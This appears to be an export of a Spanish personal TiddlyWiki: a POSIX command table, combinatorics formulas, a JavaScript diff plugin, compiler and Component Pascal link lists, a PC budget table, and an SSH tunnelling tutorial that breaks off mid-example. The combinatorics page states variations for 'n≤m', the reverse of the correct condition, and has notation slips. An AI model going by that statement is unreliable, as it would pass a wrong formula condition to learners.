|[[comm]]|Procesamiento de texto|Select or reject lines common to two files|
|[[command |command]]|Programación en consola|Execute a simple command|
|[[compress]]|Sistema de archivos|Compress data|
|[[continue |continue]]|Programación en consola|Continue [[forloop|for]], [[whileloop|while]], or [[until]] [[Controlflow#Loops|loop]]|
|[[cp|cp]]|Sistema de archivos|Copy files|
|[[crontab]]|Misc|Schedule periodic background work|
|[[csplit]]|Procesamiento de texto|Split files based on context|
|[[ctags]]|Programación en C|Create a tags file|
|[[cut|cut]]|Programación en consola|Cut out selected fields of each line of a file|
|[[cxref]]|Programación en C|Generate a [[C|C-language]] program cross-reference table|
|[[date|date]]|Misc|Write the date and time|
|[[dd|dd]]|Sistema de archivos|Convert and copy a file|
|[[delta|delta]]|SCCS|Make a delta (change) to an SCCS file|
|[[df|df]]|Sistema de archivos|Report free disk space|
|[[diff]]|Procesamiento de texto|Compare two files|
|[[dirname]]|Sistema de archivos|Return the directory portion of a pathname|
|[[dot|dot]]|Programación en consola|Execute commands in the current environment|
|[[du|du]]|Sistema de archivos|Estimate file space usage|
|[[echo|echo]]|Programación en consola|Write arguments to standard output|
|[[ed|ed]]|Procesamiento de texto|Edit text|
|[[env|env]]|Misc|Set the environment for command invocation|
|[[eval_]]|Programación en consola|Construct command by concatenating arguments|
|[[ex|ex]]|Procesamiento de texto|Text editor|
|[[exec|exec]]|Programación en consola|Execute commands and open, close, or copy [[file descriptors]]|
|[[exit|exit]]|Programación en consola|Cause the shell to exit|
|[[expand|expand]]|Procesamiento de texto|Convert tabs to spaces|
|[[Environmentvariable#UNIX|export]]|Misc|Set the export attribute for variables|
|[[expr]]|Programación en consola|Evaluate arguments as an expression|
|[[false|false]]|Programación en consola|Return false value|
|[[fc|fc]]|Misc|Process the command history list|
|[[fg|fg]]|Gestión de procesos|Run jobs in the foreground|
|[[file|file]]|Sistema de archivos|Determine file type|
|[[find]]|Sistema de archivos|Find files|
|[[fold|fold]]|Procesamiento de texto|Filter for folding lines|
|[[fort77]]|Programación en C|[[FORTRAN]] compiler|
|[[fuser|fuser]]|Gestión de procesos|List [[Processidentifier|process IDs]] of all processes that have one or more files open|
|[[gencat]]|Misc|Generate a formatted message catalog|
|[[get|get]]|SCCS|Get a version of an SCCS file|
|[[getconf]]|Misc|Get configuration values|
|[[getopts]]|Programación en consola|Parse utility options|
|[[grep]]|Misc|Search a file for a pattern|
|[[hash|hash]]|Misc|Remember or report utility locations|
|[[head|head]]|Procesamiento de texto|Copy the first part of files|
|[[iconv]]|Procesamiento de texto|Codeset conversion|
|[[id|id]]|Misc|Return user identity|
|[[ipcrm]]|Misc|Remove a message queue, semaphore set, or shared memory segment identifier|
|[[ipcs]]|Misc|Report interprocess communication facilities status|
|[[jobs|jobs]]|Gestión de procesos|Display status of jobs in the current session|
|[[join|join]]|Procesamiento de texto|[[Relational database]] operator|
|[[kill|kill]]|Gestión de procesos|Terminate or signal processes|
|[[lexprogrammingtool|lex]]|Programación en C|Generate programs for [[Lexicalanalyzer|lexical tasks]]|
|[[link|link]]|Sistema de archivos|Call link function|
|[[ln|ln]]|Sistema de archivos|Link files|
|[[locale]]|Misc|Get locale-specific information|
|[[localedef]]|Misc|Define locale environment|
|[[logger|logger]]|Programación en consola|Log messages|
|[[logname]]|Misc|Return the user's login name|
|[[lp|lp]]|Procesamiento de texto|Send files to a printer|
|[[ls]]|Sistema de archivos|List directory contents|
|[[M4|m4]]|Misc|Macro processor|
|[[mailx]]|Misc|Process messages|
|[[make]]|Programación en C|Maintain, update, and regenerate groups of programs|
|[[Unixmanual|man]]|Misc|Display system documentation|
|[[mesg]]|Misc|Permit or deny messages|
|[[mkdir]]|Sistema de archivos|Make directories|
|[[mkfifo]]|Sistema de archivos|Make [[FIFO]] special files|
|[[more|more]]|Procesamiento de texto|Display files on a page-by-page basis|
|[[mv]]|Sistema de archivos|Move files|
|[[newgrp]]|Misc|Change to a new group|
|[[nice|nice]]|Gestión de procesos|Invoke a utility with an altered nice value|
|[[nl|nl]]|Procesamiento de texto|Line numbering filter|
|[[nm(Unix|nm]]|EMPTY|Write the name list of an [[object file]]|
|[[nohup]]|Gestión de procesos|Invoke a utility immune to [[SIGHUP|hangups]]|
|[[od|od]]|Misc|Dump files in various formats|
|[[paste|paste]]|Procesamiento de texto|Merge corresponding or subsequent lines of files|
|[[patch|patch]]|Procesamiento de texto|Apply changes to files|
|[[pathchk]]|Sistema de archivos|Check pathnames|
|[[pax|pax]]|Misc|Portable archive interchange|
|[[pr|pr]]|Procesamiento de texto|Print files|
|[[printf|printf]]|Programación en consola|Write formatted output|
|[[prs]]|SCCS|Print an SCCS file|
|[[ps|ps]]|Gestión de procesos|Report process status|
|[[pwd]]|Sistema de archivos|print working directory - Return working directory name|
|[[qalter]]|Proceso por lotes|Alter batch job|
|[[qdel]]|Proceso por lotes|Delete batch jobs|
|[[qhold]]|Proceso por lotes|Hold batch jobs|
|[[qmove]]|Proceso por lotes|Move batch jobs|
|[[qmsg]]|Proceso por lotes|Send message to batch jobs|
|[[qrerun]]|Proceso por lotes|Rerun batch jobs|
|[[qrls]]|Proceso por lotes|Release batch jobs|
|[[qselect]]|Proceso por lotes|Select batch jobs|
|[[qsig]]|Proceso por lotes|Signal batch jobs|
|[[qstat|qstat]]|Proceso por lotes|Show status of batch jobs|
|[[qsub]]|Proceso por lotes|Submit a script|
|[[read|read]]|Programación en consola|Read a line from standard input|
|[[readonly]]|Misc|Set the readonly attribute for variables|
|[[renice]]|Gestión de procesos|Set [[nice values]] of running processes|
|[[return|return]]|Programación en consola|Return from a function|
|[[rm|rm]]|Sistema de archivos|Remove directory entries|
|[[rmdel]]|SCCS|Remove a delta from an SCCS file|
|[[rmdir]]|Sistema de archivos|Remove directories|
|[[sact|sact]]|SCCS|Print current SCCS file-editing activity|
|[[sccs|sccs]]|SCCS|Front end for the SCCS subsystem|
|[[sed|TutorialSed]]|Procesamiento de texto|Stream editor|
|[[set|set]]|Misc|Set or unset options and positional parameters|
|[[bourneshell|sh]]|Programación en consola|[[shell|Shell]], the standard command language interpreter|
|[[shift|shift]]|Programación en consola|Shift positional parameters|
|[[sleep|sleep]]|Programación en consola|Suspend execution for an interval|
|[[sort|sort]]|Procesamiento de texto|Sort, merge, or sequence check text files|
|[[split|split]]|Misc|Split files into pieces|
|[[strings|strings]]|Programación en C|Find printable strings in files|
|[[strip|strip]]|Programación en C|Remove unnecessary information from executable files|
|[[stty]]|Misc|Set the options for a terminal|
|[[tabs|tabs]]|Misc|Set terminal tabs|
|[[tail|tail]]|Procesamiento de texto|Copy the last part of a file|
|[[talk|talk]]|Misc|Talk to another user|
|[[tee |tee]]|Programación en consola|Duplicate [[standard input]]|
|[[test|test]]|Programación en consola|Evaluate [[expression(programming)|expression]]|
|[[time |time]]|Gestión de procesos|Time a simple command|
|[[times|times]]|Gestión de procesos|Write process times|
|[[touch|touch]]|Sistema de archivos|Change file access and modification times|
|[[tput]]|Misc|Change [[terminal]] characteristics|
|[[tr|tr]]|Procesamiento de texto|Translate characters|
|[[trap|trap]]|Gestión de procesos|Trap signals|
|[[true|true]]|Programación en consola|Return true value|
|[[tsort|tsort]]|Procesamiento de texto|Topological sort|
|[[tty|tty]]|Misc|Return user's [[terminal]] name|
|[[type|type]]|Misc|Write a description of command type|
|[[ulimit]]|Misc|Set or report file size limit|
|[[umask]]|Misc|Get or set the file mode creation mask|
|[[unalias]]|Misc|Remove alias definitions|
|[[uname]]|Misc|Return system name|
|[[uncompress]]|Misc|Expand compressed data|
|[[unexpand]]|Procesamiento de texto|Convert spaces to tabs|
|[[unget]]|SCCS|Undo a previous get of an SCCS file|
|[[uniq]]|Procesamiento de texto|Report or filter out repeated lines in a file|
|[[unlink|unlink]]|Sistema de archivos|Call the unlink function|
|[[unset]]|Misc|Unset values and attributes of variables and functions|
|[[uucp]]|Redes|System-to-system copy|
|[[uudecode]]|Redes|Decode a binary file|
|[[uuencode]]|Redes|Encode a binary file|
|[[uustat]]|Redes|[[uucp]] status inquiry and job control|
|[[uux|uux]]|Gestión de procesos|Remote command execution|
|[[val|val]]|SCCS|Validate SCCS files|
|[[vi]]|Procesamiento de texto|Screen-oriented  display editor|
|[[wait |wait]]|Gestión de procesos|Await process completion|
|[[wc|wc]]|Procesamiento de texto|Word, line, and byte or character count|
|[[what|what]]|SCCS|Identify SCCS files|
|[[who|who]]|Administración del sistema|Display who is on the system|
|[[write|write]]|Misc|Write to another user's terminal|
|[[xargs]]|Programación en consola|Construct argument lists and invoke utility|
|[[yacc]]|Programación en C|Yet another [[compiler]] compiler|
|[[zcat]]|Procesamiento de texto|Expand and concatenate data|
<<showtoc>>
! Introducción
La combinatoria es una rama de las matemáticas que estudia colecciones finitas de elementos y como pueden agruparse.

Las formas de agruparse son principalmente dos: importando el orden y sin importar en que orden se agrupen. Al primero grupo se lo denomina "variaciones" y al segundo "combinaciones". Dentro de estos dos grandes grupos también pueden subdividirse en dos: con elementos repetidos y sin elementos repetidos.

!! Notación
En todos los casos, la letra $n$ se utiliza para indicar el número posible de elementos y la letra $m$ para indicar el número de elementos que se seleccionan. Además, la operación $x!$ representa el factorial de $x$.

! Variaciones
Las variaciones son la cantidad de formas diferentes de agrupar $n$ elementos posibles en grupos de $m$ para $n\le m$. Al caso especial de que $n = m$ se le llama permutación.

En las variaciones es importante el orden en el que se eligen los elementos, por lo que los siguientes conjuntos $A$, $B$ y $C$ son variaciones diferentes:
$$A=\{1,2,3\}$$
$$B=\{1,3,2\}$$
$$C=\{2,1,3\}$$
El número de posibles variaciones, según el caso, puede calcularse mediante las siguientes reglas:

!! Variaciones sin repetición
Variaciones de $n$ elementos tomados en grupos de $m$ elementos $(n>m)$
$$ V_{n,m}=\frac{n!}{(n-m)!} $$

!! Variaciones con repetición
Variaciones con repetición de $n$ elementos tomados en grupos de $m$ elementos, pudiendo repetirse cualquiera de ellos.
$$ VR{n,m}=n^m $$

!! Permutaciones
Variaciones sin repetición de de $n$ elementos tomados en grupos de $n$ elementos ($n=m$)
$$ P_n=n! $$

!! Permutaciones con repetición
Permutaciones de $n$ elementos donde el primero se repite $a$ veces, el segundo $b$ veces y hasta el último se repite $k$ veces y $a+b+...+k=n$
$$ PR_{n;a,b,...,k}=\frac{n!}{a!\cdot b! \cdot ... \cdot k!} $$

! Combinaciones
Las combinaciones son similares a las variaciones, pero no importa el orden en el que se elijan los elementos. Por ejemplo, los siguientes $A$, $B$ y $C$ se consideran combinaciones iguales:
$$A=\{1,2,3\}$$
$$B=\{1,3,2\}$$
$$C=\{2,1,3\}$$
El número posible de combinaciones puede calcularse en cada caso con las siguientes reglas:

!! Combinaciones sin repetición
Combinaciones de $n$ elementos tomados en grupos de $m$ $(n>m)$
$$ C_{n,m}=\frac{n!}{m!\cdot(n-m)!} $$

!! Combinaciones con repetición
Combinaicones de $n$ elementos tomados en grupos de $m$, pudiendo repetirse cualquiera de ellos
$$CR_{n,m}=\frac{(n+m-1)!}{m!\cdot(n-1)!}$$

! Referencias
http://gaussianos.com/%C2%BFcuantos-videos-caben-en-youtube-la-respuesta-esta-en-la-combinatoria/
http://es.wikipedia.org/wiki/Combinatoria
/***
|Name|CompareTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#CompareTiddlersPlugin|
|Version|1.1.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|show color-coded differences between two selected tiddlers|
!!!!!Usage
<<<
Display a form that lets you select and compare any two tiddlers:
{{{
<<compareTiddlers>>
}}}
To filter the lists of tiddlers by tags, include an optional tagvalue (or tag expression) parameter:
{{{
<<compareTiddlers "tagValue">>
   OR
<<compareTiddlers "boolean tag expression">> (requires MatchTagsPlugin)
}}}
<<<
!!!!!Example
<<<
{{{<<compareTiddlers>>}}}
{{smallform small{<<compareTiddlers>>}}}
<<<
!!!!!Revisions
<<<
2009.07.25 [1.1.0] added optional tag filter param
2007.10.15 [1.0.0] converted from inline script to true plugin
2006.12.27 [0.0.0] inline script.  {{{diff()}}} and {{{diffString()}}} functions written by Bradley Meck.
<<<
!!!!!Code
***/
//{{{
version.extensions.CompareTiddlersPlugin= {major: 1, minor: 1, revision: 0, date: new Date(2009,7,25)};
//}}}
//{{{
config.shadowTiddlers.CompareTiddlers='<<compareTiddlers>>';
//}}}
/***
//{{{
!html
<form><!--
--><input type=hidden name=filter value=''><!--
--><select name=list1 size=1 style='width:30%'
	onchange='config.macros.compareTiddlers.pick(this,this.form.view1,this.form.edit1,this.form.text1)'></select><!--
--><input type=button name=view1 style='width:10%' value='view' disabled
	onclick='if (this.form.list1.value.length)
		story.displayTiddler(story.findContainingTiddler(this),this.form.list1.value)'><!--
--><input type=button name=edit1 style='width:10%' value='edit' disabled
	onclick='if (this.form.list1.value.length)
		story.displayTiddler(story.findContainingTiddler(this),this.form.list1.value,DEFAULT_EDIT_TEMPLATE)'><!--
--><select name=list2 size=1 style='width:30%'
	onchange='config.macros.compareTiddlers.pick(this,this.form.view2,this.form.edit2,this.form.text2)'></select><!--
--><input type=button name=view2 style='width:10%' value='view' disabled
	onclick='if (this.form.list2.value.length)
		story.displayTiddler(story.findContainingTiddler(this),this.form.list2.value)'><!--
--><input type=button name=edit2 style='width:10%' value='edit' disabled
	onclick='if (this.form.list2.value.length)
		story.displayTiddler(story.findContainingTiddler(this),this.form.list2.value,DEFAULT_EDIT_TEMPLATE)'><br><!--
--><nobr><!--
--><textarea name=text1 style='width:49.5%;display:none' rows='10' readonly></textarea><!--
--><textarea name=text2 style='width:49.5%;display:none' rows='10' readonly></textarea><!--
--></nobr><!--
--><div style='float:left'><!--
-->Additions are shown in <span style='color:green'>GREEN</span>, <!--
-->deletions are shown in <span style='color:red'>RED</span><!--
--></div><!--
--><div style='text-align:right'><!--
--><input type=button name=compare style='width:10%' value='compare' disabled
	onclick='config.macros.compareTiddlers.compare(this.form,this.form.nextSibling)'><!--
--><input type=button name=done style='width:10%' value='done' disabled
	onclick='config.macros.compareTiddlers.reset(this.form,this.form.nextSibling)'><!--
--></div><!--
--></form><div class='compareTiddlersResults'>contents to be replaced by results of comparison</div>
!end
//}}}
***/
//{{{
config.macros.compareTiddlers= {
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		setStylesheet(this.css,'CompareTiddlersStyles');
		var out=createTiddlyElement(place,'span');
		out.innerHTML=store.getTiddlerText('CompareTiddlersPlugin##html');
		var form=out.getElementsByTagName('form')[0];
		var target=form.nextSibling;
		this.reset(form,target,params[0]);
	},
	css: '.compareTiddlersResults \
		{ display:none;clear:both;margin-top:1em;border:1px solid;-moz-border-radius:1em;-webkit-border-radius:1em;padding:1em;white-space:normal; }',
	reset: function(f,target,filter) {
		if (f.filter.value.length) var filter=f.filter.value;
		if (filter) var tids=store.filterTiddlers('[tag['+filter+']]')
		else var tids=store.getTiddlers('title','excludeLists');
		f.text1.style.display='none'; f.text1.value='';
		while (f.list1.options[0]) f.list1.options[0]=null; 
		f.list1.options[0]=new Option('select a tiddler...','',false,false);
		for (i=0; i<tids.length; i++)
			f.list1.options[f.list1.length]=new Option(tids[i].title,tids[i].title,false,false);
		f.text2.style.display='none'; f.text2.value='';
		while (f.list2.options[0]) f.list2.options[0]=null; 
		f.list2.options[0]=new Option('select a tiddler...','',false,false);
		for (i=0; i<tids.length; i++)
			f.list2.options[f.list2.length]=new Option(tids[i].title,tids[i].title,false,false);
		f.view1.disabled=f.view2.disabled=f.edit1.disabled=f.edit2.disabled=f.compare.disabled=f.done.disabled=true;
		f.filter.value=filter;
		target.style.display='none';
		removeChildren(target);
	},
	pick: function(list,view,edit,text) {
		var f=list.form;
		view.disabled=edit.disabled=f.done.disabled=!list.value.length;
		f.compare.disabled=!f.list1.value.length||!f.list2.value.length;
		if (!list.value.length) return;
		f.text1.style.display=f.text2.style.display='inline';
		text.value=store.getTiddlerText(list.value);
	},
	compare: function(f,target) {
		if (!f.list1.value.length) { f.list1.focus(); return alert('select a tiddler'); }
		var t1=store.getTiddlerText(f.list1.value); if (!t1) { displayMessage(f.list1.value+' not found');return false; }
		if (!f.list2.value.length) { f.list2.focus(); return alert('select a tiddler'); }
		var t2=store.getTiddlerText(f.list2.value); if (!t2) { displayMessage(f.list2.value+' not found');return false; }
		var out=this.diffString(t1,t2); if (!out || !out.length) out='no differences';
		removeChildren(target);
		target.innerHTML=out;
		target.style.display='block';
		f.done.disabled=false;
	},
//}}}
//{{{
	diffString: function( o, n ) {
		// This function was written by Bradley Meck
		// returns difference between old and new text, color-formatted additions and deletions
		if (o==n) return ""; // simple check, saves time if true
		var error = 5;
		var reg = new RegExp( "\\n|(?:.{0,"+error+"})", "g" );
		var oarr = o.match( reg ); // dices text into chunks
		var narr = n.match( reg );
		var out = this.diff(oarr,narr); // compare the word arrays
		var str = ""; // construct output
		for (i=0; i<out.length; i++) {
			switch (out[i].change) {
				case "ADDED":
					str+="<span style='color:green'>";
					str+=narr.slice(out[i].index,out[i].index+out[i].length).join("");
					str+="</span> ";
					break;
				case "DELETED":
					str+="<span style='color:red'>";
					str+=oarr.slice(out[i].index,out[i].index+out[i].length).join("");
					str+="</span> ";
					break;
				default:
					str+="<span>";
					str+=oarr.slice(out[i].index,out[i].index+out[i].length).join("");
					str+="</span> ";
					break;
			}	
		}
		return str;
	},
	diff: function( oldArray, newArray ) {
		// This function was written by Bradley Meck
		// finds the differences between one set of objects and another.
		// The objects do not need to be Strings.  It outputs an array of objects with the properties value and change.
		// This function is pretty hefty but appears to be rather light for a diff and tops out at O(N^2) for absolute worst cast scenario.
		var newElementHash = { };
		for( var i = 0; i < newArray.length; i++ ) {
			if( ! newElementHash [ newArray [ i ] ] ) {
				newElementHash [ newArray [ i ] ] = [ ];
			}
			newElementHash [ newArray [ i ] ].push( i );
		}
		var substringTable = [ ];
		for( var i = 0; i < oldArray.length; i++ ) {
			if(newElementHash [ oldArray [ i ] ] ) {
				var locations = newElementHash [ oldArray [ i ] ] ;
				for( var j = 0; j < locations.length; j++){
					var length = 1;
					while( i + length < oldArray.length && locations [ j ] + length < newArray.length
						&& oldArray [ i + length ] == newArray [ locations [ j ] + length ] ){
						length++;
					}
					substringTable.push( {
						oldArrayIndex : i,
						newArrayIndex : locations [ j ],
						matchLength : length
					} );
				}
			}
		}
		substringTable.sort( function( a, b ) {
			if ( a.matchLength > b.matchLength /* a is less than b by some ordering criterion */ ) {
				return -1;
			}
			if ( a.matchLength < b.matchLength /* a is greater than b by the ordering criterion */ ) {
				return 1;
			}
			// a must be equal to b
			return 0
		} );
		//displayMessage( substringTable.toSource( ) );
		for( var i = 0; i < substringTable.length; i++) {
			for( var j = 0; j < i; j++) {
				var oldDelta = substringTable [ i ].oldArrayIndex + substringTable [ i ].matchLength - 1 - substringTable [ j ].oldArrayIndex;
				var newDelta = substringTable [ i ].newArrayIndex + substringTable [ i ].matchLength - 1 - substringTable [ j ].newArrayIndex;
				//displayMessage( "oldDelta ::: " + oldDelta );
				//displayMessage( "newDelta ::: " + newDelta );
				//displayMessage( "matchLength ::: " + substringTable [ j ].matchLength );
				if( ( oldDelta >= 0 && oldDelta <= substringTable [ j ].matchLength )
				|| ( newDelta >= 0 && newDelta <= substringTable [ j ].matchLength )
				|| ( oldDelta < 0 && newDelta > 0 )
				|| ( oldDelta > 0 && newDelta < 0 ) ) {
					substringTable.splice( i, 1 );
					i--;
					break;
				}
			}
		}
		//displayMessage( substringTable.toSource(  ) );
		substringTable.sort( function( a, b ) {
			if ( a.oldArrayIndex < b.oldArrayIndex /* a is less than b by some ordering criterion */ ) {
				return -1;
			}
			if ( a.oldArrayIndex > b.oldArrayIndex /* a is greater than b by the ordering criterion */ ) {
				return 1;
			}
			// a must be equal to b
			return 0
		} );
		//displayMessage( substringTable.toSource( ) );
		var oldArrayIndex = 0;
		var newArrayIndex = 0;
		var results = [ ];
		for( var i = 0; i < substringTable.length; i++ ) {
			if( oldArrayIndex != substringTable [ i ].oldArrayIndex ) {
				results.push( {
					change : "DELETED",
					length : substringTable [ i ].oldArrayIndex - oldArrayIndex,
					index : oldArrayIndex
				} );
			}
			if( newArrayIndex != substringTable [ i ].newArrayIndex ) {
				results.push( {
					change : "ADDED",
					length : substringTable [ i ].newArrayIndex - newArrayIndex,
					index : newArrayIndex
				} );
			}
			results.push( {
				change : "STAYED",
				length : substringTable [ i ].matchLength,
				index : substringTable [ i ].oldArrayIndex
			} );
			oldArrayIndex = substringTable [ i ].oldArrayIndex + substringTable [ i ].matchLength;
			newArrayIndex = substringTable [ i ].newArrayIndex + substringTable [ i ].matchLength;
		}
		if( oldArrayIndex != oldArray.length ) {
			results.push( {
				change : "DELETED",
				length : oldArray.length - oldArrayIndex,
				index : oldArrayIndex
			} );
		}
		if( newArrayIndex != newArray.length ) {
			results.push( {
				change : "ADDED",
				length : newArray.length - newArrayIndex,
				index : newArrayIndex
			} );
		}
		return results;
	}
}
//}}}
<<showtoc>>
! Descripción
<part descripcion>
Información sobre compiladores y lenguajes formales.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Compilador

!! Lenguajes formales
* Lenguajes formales: http://es.wikipedia.org/wiki/Lenguaje_formal
* Lenguajes formales (en inglés): http://en.wikipedia.org/wiki/Formal_language
* Gramática formal: http://es.wikipedia.org/wiki/Gram%C3%A1tica_formal

!! Libros y tutoriales
* Let's Build a Compiler: http://compilers.iecc.com/crenshaw/
* Compilador de [[Lisp]] en [[Python]]: http://norvig.com/lispy.html
* Compilador de [[Lisp]] en [[Python]] (mejorado): http://norvig.com/lispy2.html
* Como escribir un corrector ortográfico: http://norvig.com/spell-correct.html
* Programming Languajes, Application and Interpretation: http://www.cs.brown.edu/~sk/Publications/Books/ProgLangs/2007-04-26/plai-2007-04-26.pdf
* Ejemplo sencillo con JavaCC de un analizador léxico y sintáctico: http://elblogdepicodev.blogspot.com/2011/10/ejemplo-sencillo-con-javacc-de-un.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Component Pascal es una evolución de Pascal con orientación a objetos y una serie de características nuevas basadas en los lenguajes  de programación Modula-2, Oberon y Oberon-2. Tiene su propio IDE llamado "Black Box" y es incompatible con el [[Pascal]] original.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Component_Pascal
** IDE oficial Black Box: http://en.wikipedia.org/wiki/BlackBox_Component_Builder
** Descarga de Black Box: http://www.oberon.ch/blackbox.html
** Recursos sobre Component Pascal: http://www.zinnamturm.eu/
** Integración de Component Pascal con otros IDEs y lenguajes: http://plas.fit.qut.edu.au/gpcp/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Presupuesto para la compra de un ordenador nuevo. Se utiliza para la selección de los componentes la [[herramienta de PC Componentes|http://www.pccomponentes.com/configurador.php]]. Se comparan los precios de varias tiendas y se muestran los códigos de referencia de cada una.

! Configuraciones
Hay tres configuraciones principales: la basada en Intel i7 con socket 1156, la basada en i7 con socket 1366 y la basada en AMD Phenom II. Los precios se muestran con iva del 18%. Dentro de cada configuración puede haber dos opciones para ciertos componentes: la mejor y la que muestre mejor relación calidad/precio.

!! Intel i7 socket 1156
| !Componente | !Modelo |>| !PC Componentes |>| !Infozar |>| !"""PC-BOX""" |>| !APP |>|h
| | | ref | precio | ref | precio | ref | precio | ref | precio |h
|CPU |Intel Core I7 870 | [[35781|http://www.pccomponentes.com/ver.php?id=35781]] | 256,00 € | [[0735858210461|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Intel_Intel_Core_I7870~prod52C79FB20CB5942C6229826B7484E4A0.aspx]] |294,03 € | [[INT365|http://www.pcbox.com/comprar-procesador-intel-core-i7-870-2-93-ghz-sk1156-8mb_int365.aspx?ch=000204021100010702120212071176584134f6fbe2a192aafcf8a24085611]] | 294,56 € | | |
|Placa base |(1) Asus - P7P55D-E | [[38889|http://www.pccomponentes.com/ver.php?id=38889]] | 135,13 € | [[0610839174249|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Asus_P7P55DE~prodD68A53A64453C978E91177A849BA7D87.aspx]] | 135,13 € | [[ASK1493|http://www.pcbox.com/comprar-placa-intel-core-i3-i5-i7-asus-p7p55d-e-sk1156-ddr3-pcx-atx_ask1493.aspx?ch=000204021100010702120212071176584134f6fbe2a192aafcf8a24085611]] | 135,05 € |  |  |
|~|(2) Gigabyte - GA-P55A-UD4 | [[36689|http://www.pccomponentes.com/ver.php?id=36689]] | 150,00 € | [[???|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Gigabyte_GAP55AUD4~prodDB9C550FE9BD91B7D5F4FD52A4EDECE9.aspx]] | 166,29 € | [[GBY201|http://www.pcbox.com/comprar-placa-intel-core-i3-i5-i7-gigabyte-p55a-ud4-sk1156-ddr3-pcx_gby201.aspx?ch=000204021100010702120212071176584134f6fbe2a192aafcf8a24085611]] | 166,13 € |  |  |
|RAM |2X2GB Kingston DDR3 1600Mhz | [[40021|http://www.pccomponentes.com/ver.php?id=40021]]| 56,95 € | [[740617179507|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Kingston_KHX1600C9AD3B12G~prod5BC9238886CD752BBF2D64AF85BF1C8A.aspx]] | 66,26€ | [[KGN1048|http://www.pcbox.com/comprar-memoria-2-gb-ddr3-1600-kingston-hyperx-blu-cl9_kgn1048.aspx?ch=000204021100010702120212071176584134f6fbe2a192aafcf8a24085611]] | 68,84 € |  |  |
|Ventilador CPU |(1) |  |  |  |  |  |  |  |  |
|~|(2) |  |  |  |  |  |  |  |  |
|HD programas |WD Caviar Black 640gb Sata3 | [[38095|http://www.pccomponentes.com/ver.php?id=38095]] | 63,00 € | [[5052179818387|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Western_digital_Caviar_Black_640GB~prodBE49CD126DC8CCCB880685CB9F515D6D.aspx]] | 63,99 € |  |  |  |  |
|HD datos |WD Caviar Green 1.5tb Sata2 | [[38041|http://www.pccomponentes.com/ver.php?id=38041]] | 78,00 € | [[718037750576|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Western_digital_Caviar_Green_15TB~prod7C736F64A868DBDC91B53FAD59111F92.aspx]] | 82,61 € |  |  |  |  |
|Caja |Antec Sonata Proto | [[34123|http://www.pccomponentes.com/ver.php?id=34123]] | 89,95 € | [[0761345151436|http://www.soluziondigital.com/TiendaVirtual/F355D986B96BD9272D16C470D1938DC6/Navegacion/Antec_Sonata_Elite_Quiet_Computing_cas~prod8497507D66B7D99CE1CC4C5EE80C8491.aspx]] | 100,90 € |  |  |  |  |
| | |  |  |  |  |  |  |  |  |
| | |  |  |  |  |  |  |  |  |
| | |  |  |  |  |  |  |  |  |
| | |  |  |  |  |  |  |  |  |
| | |  |  |  |  |  |  |  |  |
| | |  |  |  |  |  |  |  |  |

! Introducción
En el ámbito de las redes informáticas, un tunel es una conexión encapsulada dentro de otra. Los túneles suelen utilizarse para conectar a otras redes cuyo contenido es inaccesible al exterior, pero que tienen un gateway por el que conectar.

Por ejemplo, desde una red con conexión a [[Internet]] {{{red1}}} se quiere acceder a un servidor web en un máquina interna de {{{red2}}}. El usuario podría conectarse desde {{{red1}}} a {{{red2}}} por una conexión ssh o vlan, y una vez establecida, se enviarían a través de ella los paquetes [[TCP/IP|TCP_IP]] como si estuvieran en la misma red.

!! Túneles SSH
Los túneles [[SSH]] utilizan una conexión cifrada SSH para encapsular otro protocolo. Son muy útiles para acceder a redes a distancia de una forma segura.

Los clientes SSH se pueden configurar como un proxy SOCKS para que cualquier cliente conectado al puerto especificado pueda enviar y recibir todo su tráfico encapsulado a través de la conexión SSH. Por ejemplo, si estamos en una red pública, como la red de un bar, y queremos navegar de forma segura y tenemos a mano la dirección de un servidor SSH confiable (por ejemplo, un servidor open-ssh instalado en casa) se podría establecer una conexión de la siguiente manera:
<code bash>
ssh user@MAQUINA_SEGURA -D 8080
</code>

Ahora podría configurar el navegador web para conectar a un servidor proxy tipo SOCKS en la dirección {{{localhost:8080}}}. Todas las conexiones que realice el navegador web serán enviadas por el tunel ssh al ordenador confiable, y este las reenviará a su destinatario final.

También se puede establecer un tunel que apunte a un único puerto y host. Por ejemplo, si queremos conectar al puerto 80 de un servidor interno, redirigiendo el puerto 12345 local al puerto 80 remoto de la siguiente manera:
<code bash>
ssh -L 12345:servidor_interno:80 servidor_publico
</code>

Las conexiones a {{{localhost:12345}}} serán redirigidas a {{{servidor_interno:80}}} a través del tunel.

!!! Conexiones encadenadas
La aplicación {{{ssh}}} permite conectar en cadena varias sesiones SSH en máquinas distintas. Por ejemplo, para acceder a una máquina sin conexión a internet {{{servidor_privado}}} dentro de una red accesible a través de otra máquina conectada a internet llamada  {{{servidor_publico}}} se puede hacer lo siguiente:
<code bash>
ssh -t servidor_publico ssh servidor_privado
</code>

Como se puede imaginar, es posible hacer varios saltos, por lo que de forma general se podría hacer así:
<code bash>
ssh -t host1 ssh -t host2 ssh -t host3 ssh -t host4 ssh hostN
</code>

Uniendo el comportamiento tipo proxy visto en el punto anterior y el encadenamiento de conexiones que acabamos de ver, podemos crear un proxy SOCKS que envié la conexión a través de varios servidores SSH, lo que aumentará muchísimo el nivel de seguridad, pero evidentemente ralentizará la conexión:
<code bash>
